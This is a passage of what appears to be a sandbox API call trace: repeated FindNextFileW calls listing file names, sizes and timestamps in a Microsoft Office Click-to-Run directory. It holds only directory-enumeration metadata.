ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0053.459] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0053.460] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0053.461] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0053.462] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf308 | out: 